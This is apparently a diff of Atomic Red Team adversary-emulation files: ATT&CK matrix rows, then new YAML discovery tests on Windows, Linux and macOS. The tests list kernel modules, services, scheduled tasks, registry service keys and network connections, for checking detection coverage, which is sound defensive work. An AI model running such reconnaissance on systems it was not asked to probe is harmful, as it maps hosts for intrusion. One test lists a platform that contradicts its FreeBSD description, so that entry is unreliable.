| Phishing: Spearphishing Attachment [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File/Path Exclusions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Brute Force: Password Guessing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Device Driver Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Input Capture: Keylogging](../../T1056.001/T1056.001.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol: DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Phishing: Spearphishing Attachment [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File/Path Exclusions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Brute Force: Password Guessing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Device Driver Discovery](../../T1652/T1652.md) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Input Capture: Keylogging](../../T1056.001/T1056.001.md) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol: DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Abuse Elevation Control Mechanism: Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | [File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) | OS Credential Dumping [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Account Discovery: Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Audio Capture](../../T1123/T1123.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Publish/Subscribe Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Command and Scripting Interpreter: AppleScript](../../T1059.002/T1059.002.md) | External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Steal Web Session Cookie](../../T1539/T1539.md) | [Account Discovery: Local Account](../../T1087.001/T1087.001.md) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Exfiltration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Native API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Virtualization/Sandbox Evasion: System Checks](../../T1497.001/T1497.001.md) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md) | Brute Force: Password Cracking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Permission Groups Discovery: Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Stop [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| [Valid Accounts: Default Accounts](../../T1078.001/T1078.001.md) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Browser Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Additional Local or Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials from Password Stores: Keychain](../../T1555.001/T1555.001.md) | System Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Staged: Local Data Staging](../../T1074.001/T1074.001.md) | [Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| [Valid Accounts: Default Accounts](../../T1078.001/T1078.001.md) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Browser Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Additional Local or Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials from Password Stores: Keychain](../../T1555.001/T1555.001.md) | [System Service Discovery](../../T1007/T1007.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Staged: Local Data Staging](../../T1074.001/T1074.001.md) | [Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Library [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | [Boot or Logon Initialization Scripts: Logon Script (Mac)](../../T1037.002/T1037.002.md) | [Abuse Elevation Control Mechanism: Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Databases [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Services: Launchctl](../../T1569.001/T1569.001.md) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Masquerading: Match Legitimate Name or Location](../../T1036.005/T1036.005.md) | [Network Sniffing](../../T1040/T1040.md) | [Network Share Discovery](../../T1135/T1135.md) | | Automated Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | XPC Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Extensions](../../T1176/T1176.md) | [Create or Modify System Process: Launch Daemon](../../T1543.004/T1543.004.md) | Masquerade File Type [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Ccache Files [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | [Clipboard Data](../../T1115/T1115.md) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Protocol Tunneling](../../T1572/T1572.md) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
|
||||
|
||||
+165
-5
@@ -100070,6 +100070,61 @@ discovery:
|
||||
cleanup_command:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Device Driver Discovery (Linux)
|
||||
auto_generated_guid: d57dfc9e-ed9a-418e-88f8-b59c85f8cfd1
|
||||
description: 'Displays a list of loaded kernel modules on a Linux system, which
|
||||
is used to enumerate drivers.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
command: 'lsmod
|
||||
|
||||
'
|
||||
name: bash
|
||||
elevation_required: false
|
||||
- name: Enumerate Kernel Driver Files (Linux)
|
||||
auto_generated_guid: 13c0fef5-9be9-4d7f-9c6b-901624e53770
|
||||
description: 'Finds and lists all kernel driver files on a Linux system in order
|
||||
to provide a broader view of available drivers, not just loaded ones.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
command: 'find /lib/modules/$(uname -r)/kernel/drivers -name "*.ko*"
|
||||
|
||||
'
|
||||
name: bash
|
||||
elevation_required: false
|
||||
- name: List loaded kernel extensions (macOS)
|
||||
auto_generated_guid: 71eab73d-5d7d-4681-9a72-7873489a5b85
|
||||
description: 'Displays a list of loaded kernel extensions (kexts) on a macOS
|
||||
system.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
command: 'kextstat
|
||||
|
||||
'
|
||||
name: bash
|
||||
elevation_required: false
|
||||
- name: Find Kernel Extensions (macOS)
|
||||
auto_generated_guid: c63bbe52-6f17-4832-b221-f07ba8b1736f
|
||||
description: 'Searches for kernel extension (kext) files on a macOS system.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
command: 'kextfind
|
||||
|
||||
'
|
||||
name: bash
|
||||
elevation_required: false
|
||||
T1087.002:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
@@ -101654,7 +101709,7 @@ discovery:
|
||||
- windows
|
||||
executor:
|
||||
command: |
|
||||
tasklist.exe
|
||||
tasklist.exe /svc
|
||||
sc query
|
||||
sc query state= all
|
||||
name: command_prompt
|
||||
@@ -101702,6 +101757,62 @@ discovery:
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: powershell.exe Get-Service
|
||||
- name: System Service Discovery - macOS launchctl
|
||||
auto_generated_guid: 9b378962-a75e-4856-b117-2503d6dcebba
|
||||
description: |
|
||||
Enumerates services on macOS using launchctl. Used by adversaries for
|
||||
identifying daemons, background services, and persistence mechanisms.
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
name: sh
|
||||
command: launchctl list
|
||||
- name: System Service Discovery - Windows Scheduled Tasks (schtasks)
|
||||
auto_generated_guid: 7cd7eaa3-9ccc-460d-96d2-c6fb13e6d58a
|
||||
description: 'Enumerates scheduled tasks on Windows using schtasks.exe.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: schtasks /query /fo LIST /v
|
||||
- name: System Service Discovery - Services Registry Enumeration
|
||||
auto_generated_guid: d70d82bd-bb00-4837-b146-b40d025551b2
|
||||
description: |
|
||||
Enumerates Windows services by reading the Services registry key
|
||||
(HKLM\SYSTEM\CurrentControlSet\Services) instead of using Service Control
|
||||
Manager APIs or CLI tools such as sc.exe or Get-Service.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' |
|
||||
ForEach-Object {
|
||||
$p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue
|
||||
[PSCustomObject]@{
|
||||
Name = $_.PSChildName
|
||||
DisplayName = $p.DisplayName
|
||||
ImagePath = $p.ImagePath
|
||||
StartType = $p.Start
|
||||
}
|
||||
}
|
||||
- name: System Service Discovery - Linux init scripts
|
||||
auto_generated_guid: 8f2a5d2b-4018-46d4-8f3f-0fea53754690
|
||||
description: |
|
||||
Enumerates system services by listing SysV init scripts and runlevel
|
||||
symlinks under /etc/init.d and /etc/rc*.d.
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: sh
|
||||
command: |
|
||||
echo "[*] Listing SysV init scripts (/etc/init.d):"
|
||||
if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo "/etc/init.d not present on this system"; fi
|
||||
echo
|
||||
echo "[*] Listing runlevel directories (/etc/rc*.d):"
|
||||
ls -ld /etc/rc*.d 2>/dev/null || echo "No /etc/rc*.d directories found"
|
||||
T1040:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
@@ -105364,20 +105475,20 @@ discovery:
|
||||
description: |
|
||||
Get a listing of network connections.
|
||||
|
||||
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. Results will output via stdout.
|
||||
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
|
||||
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
command: |
|
||||
netstat
|
||||
netstat -ano
|
||||
net use
|
||||
net sessions
|
||||
net sessions 2>nul
|
||||
name: command_prompt
|
||||
- name: System Network Connections Discovery with PowerShell
|
||||
auto_generated_guid: f069f0f1-baad-4831-aa2b-eddac4baac4a
|
||||
description: |
|
||||
Get a listing of network connections.
|
||||
|
||||
Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
|
||||
supported_platforms:
|
||||
- windows
|
||||
@@ -105386,6 +105497,42 @@ discovery:
|
||||
|
||||
'
|
||||
name: powershell
|
||||
- name: System Network Connections Discovery via PowerShell (Process Mapping)
|
||||
auto_generated_guid: b52c8233-8f71-4bd7-9928-49fec8215cf5
|
||||
description: 'Enumerate TCP connections and map to owning process names via
|
||||
PowerShell.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
Get-NetTCPConnection | ForEach-Object {
|
||||
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
|
||||
[pscustomobject]@{
|
||||
Local = "$($_.LocalAddress):$($_.LocalPort)"
|
||||
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
|
||||
State = $_.State
|
||||
PID = $_.OwningProcess
|
||||
Process = if ($p) { $p.ProcessName } else { $null }
|
||||
}
|
||||
} | Sort-Object State,Process | Format-Table -AutoSize
|
||||
- name: System Network Connections Discovery via ss or lsof (Linux/MacOS)
|
||||
auto_generated_guid: bcf05343-ef1d-4052-8a27-b00c9be42b9f
|
||||
description: |
|
||||
List active TCP/UDP network connections using ss, with lsof as a fallback
|
||||
when ss is unavailable. Serves as an alternative to the netstat-based test.
|
||||
supported_platforms:
|
||||
- linux
|
||||
- macos
|
||||
executor:
|
||||
name: bash
|
||||
command: 'if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss
|
||||
-ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true;
|
||||
fi
|
||||
|
||||
'
|
||||
- name: System Network Connections Discovery FreeBSD, Linux & MacOS
|
||||
auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2
|
||||
description: |
|
||||
@@ -105412,6 +105559,19 @@ discovery:
|
||||
netstat
|
||||
who -a
|
||||
name: sh
|
||||
- name: System Network Connections Discovery via sockstat (Linux, FreeBSD)
|
||||
auto_generated_guid: 997bb0a6-421e-40c7-b5d2-0f493904ef9b
|
||||
description: 'Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: sh
|
||||
command: |
|
||||
sockstat -4
|
||||
sockstat -6 2>/dev/null || true
|
||||
sockstat -l 2>/dev/null || true
|
||||
- name: System Discovery using SharpView
|
||||
auto_generated_guid: 96f974bb-a0da-4d87-a744-ff33e73367e9
|
||||
description: "Get a listing of network connections, domains, domain users, and
|
||||
|
||||
@@ -55788,7 +55788,35 @@ discovery:
|
||||
- Windows
|
||||
x_mitre_version: '1.0'
|
||||
identifier: T1652
|
||||
atomic_tests: []
|
||||
atomic_tests:
|
||||
- name: Device Driver Discovery (Linux)
|
||||
auto_generated_guid: d57dfc9e-ed9a-418e-88f8-b59c85f8cfd1
|
||||
description: 'Displays a list of loaded kernel modules on a Linux system, which
|
||||
is used to enumerate drivers.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
command: 'lsmod
|
||||
|
||||
'
|
||||
name: bash
|
||||
elevation_required: false
|
||||
- name: Enumerate Kernel Driver Files (Linux)
|
||||
auto_generated_guid: 13c0fef5-9be9-4d7f-9c6b-901624e53770
|
||||
description: 'Finds and lists all kernel driver files on a Linux system in order
|
||||
to provide a broader view of available drivers, not just loaded ones.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
command: 'find /lib/modules/$(uname -r)/kernel/drivers -name "*.ko*"
|
||||
|
||||
'
|
||||
name: bash
|
||||
elevation_required: false
|
||||
T1087.002:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
@@ -56385,6 +56413,21 @@ discovery:
|
||||
|
||||
'
|
||||
name: bash
|
||||
- name: System Service Discovery - Linux init scripts
|
||||
auto_generated_guid: 8f2a5d2b-4018-46d4-8f3f-0fea53754690
|
||||
description: |
|
||||
Enumerates system services by listing SysV init scripts and runlevel
|
||||
symlinks under /etc/init.d and /etc/rc*.d.
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: sh
|
||||
command: |
|
||||
echo "[*] Listing SysV init scripts (/etc/init.d):"
|
||||
if [ -d /etc/init.d ]; then ls -l /etc/init.d; else echo "/etc/init.d not present on this system"; fi
|
||||
echo
|
||||
echo "[*] Listing runlevel directories (/etc/rc*.d):"
|
||||
ls -ld /etc/rc*.d 2>/dev/null || echo "No /etc/rc*.d directories found"
|
||||
T1040:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
@@ -58168,6 +58211,21 @@ discovery:
|
||||
x_mitre_version: '2.5'
|
||||
identifier: T1049
|
||||
atomic_tests:
|
||||
- name: System Network Connections Discovery via ss or lsof (Linux/MacOS)
|
||||
auto_generated_guid: bcf05343-ef1d-4052-8a27-b00c9be42b9f
|
||||
description: |
|
||||
List active TCP/UDP network connections using ss, with lsof as a fallback
|
||||
when ss is unavailable. Serves as an alternative to the netstat-based test.
|
||||
supported_platforms:
|
||||
- linux
|
||||
- macos
|
||||
executor:
|
||||
name: bash
|
||||
command: 'if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss
|
||||
-ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true;
|
||||
fi
|
||||
|
||||
'
|
||||
- name: System Network Connections Discovery FreeBSD, Linux & MacOS
|
||||
auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2
|
||||
description: |
|
||||
@@ -58194,6 +58252,19 @@ discovery:
|
||||
netstat
|
||||
who -a
|
||||
name: sh
|
||||
- name: System Network Connections Discovery via sockstat (Linux, FreeBSD)
|
||||
auto_generated_guid: 997bb0a6-421e-40c7-b5d2-0f493904ef9b
|
||||
description: 'Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
name: sh
|
||||
command: |
|
||||
sockstat -4
|
||||
sockstat -6 2>/dev/null || true
|
||||
sockstat -l 2>/dev/null || true
|
||||
T1497:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
|
||||
@@ -51341,7 +51341,34 @@ discovery:
|
||||
- Windows
|
||||
x_mitre_version: '1.0'
|
||||
identifier: T1652
|
||||
atomic_tests: []
|
||||
atomic_tests:
|
||||
- name: List loaded kernel extensions (macOS)
|
||||
auto_generated_guid: 71eab73d-5d7d-4681-9a72-7873489a5b85
|
||||
description: 'Displays a list of loaded kernel extensions (kexts) on a macOS
|
||||
system.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
command: 'kextstat
|
||||
|
||||
'
|
||||
name: bash
|
||||
elevation_required: false
|
||||
- name: Find Kernel Extensions (macOS)
|
||||
auto_generated_guid: c63bbe52-6f17-4832-b221-f07ba8b1736f
|
||||
description: 'Searches for kernel extension (kext) files on a macOS system.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
command: 'kextfind
|
||||
|
||||
'
|
||||
name: bash
|
||||
elevation_required: false
|
||||
T1087.002:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
@@ -51788,7 +51815,17 @@ discovery:
|
||||
- Windows
|
||||
x_mitre_version: '1.6'
|
||||
identifier: T1007
|
||||
atomic_tests: []
|
||||
atomic_tests:
|
||||
- name: System Service Discovery - macOS launchctl
|
||||
auto_generated_guid: 9b378962-a75e-4856-b117-2503d6dcebba
|
||||
description: |
|
||||
Enumerates services on macOS using launchctl. Used by adversaries for
|
||||
identifying daemons, background services, and persistence mechanisms.
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
name: sh
|
||||
command: launchctl list
|
||||
T1040:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
@@ -53334,6 +53371,21 @@ discovery:
|
||||
x_mitre_version: '2.5'
|
||||
identifier: T1049
|
||||
atomic_tests:
|
||||
- name: System Network Connections Discovery via ss or lsof (Linux/MacOS)
|
||||
auto_generated_guid: bcf05343-ef1d-4052-8a27-b00c9be42b9f
|
||||
description: |
|
||||
List active TCP/UDP network connections using ss, with lsof as a fallback
|
||||
when ss is unavailable. Serves as an alternative to the netstat-based test.
|
||||
supported_platforms:
|
||||
- linux
|
||||
- macos
|
||||
executor:
|
||||
name: bash
|
||||
command: 'if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss
|
||||
-ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true;
|
||||
fi
|
||||
|
||||
'
|
||||
- name: System Network Connections Discovery FreeBSD, Linux & MacOS
|
||||
auto_generated_guid: 9ae28d3f-190f-4fa0-b023-c7bd3e0eabf2
|
||||
description: |
|
||||
|
||||
@@ -82761,7 +82761,7 @@ discovery:
|
||||
- windows
|
||||
executor:
|
||||
command: |
|
||||
tasklist.exe
|
||||
tasklist.exe /svc
|
||||
sc query
|
||||
sc query state= all
|
||||
name: command_prompt
|
||||
@@ -82796,6 +82796,37 @@ discovery:
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: powershell.exe Get-Service
|
||||
- name: System Service Discovery - Windows Scheduled Tasks (schtasks)
|
||||
auto_generated_guid: 7cd7eaa3-9ccc-460d-96d2-c6fb13e6d58a
|
||||
description: 'Enumerates scheduled tasks on Windows using schtasks.exe.
|
||||
|
||||
'
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: schtasks /query /fo LIST /v
|
||||
- name: System Service Discovery - Services Registry Enumeration
|
||||
auto_generated_guid: d70d82bd-bb00-4837-b146-b40d025551b2
|
||||
description: |
|
||||
Enumerates Windows services by reading the Services registry key
|
||||
(HKLM\SYSTEM\CurrentControlSet\Services) instead of using Service Control
|
||||
Manager APIs or CLI tools such as sc.exe or Get-Service.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
name: powershell
|
||||
command: |
|
||||
Get-ChildItem -Path 'HKLM:\SYSTEM\CurrentControlSet\Services' |
|
||||
ForEach-Object {
|
||||
$p = Get-ItemProperty -Path $_.PSPath -ErrorAction SilentlyContinue
|
||||
[PSCustomObject]@{
|
||||
Name = $_.PSChildName
|
||||
DisplayName = $p.DisplayName
|
||||
ImagePath = $p.ImagePath
|
||||
StartType = $p.Start
|
||||
}
|
||||
}
|
||||
T1040:
|
||||
technique:
|
||||
type: attack-pattern
|
||||
@@ -85394,20 +85425,20 @@ discovery:
|
||||
description: |
|
||||
Get a listing of network connections.
|
||||
|
||||
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. Results will output via stdout.
|
||||
Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires
|
||||
elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
|
||||
supported_platforms:
|
||||
- windows
|
||||
executor:
|
||||
command: |
|
||||
netstat
|
||||
netstat -ano
|
||||
net use
|
||||
net sessions
|
||||
net sessions 2>nul
|
||||
name: command_prompt
|
||||
- name: System Network Connections Discovery with PowerShell
|
||||
auto_generated_guid: f069f0f1-baad-4831-aa2b-eddac4baac4a
|
||||
description: |
|
||||
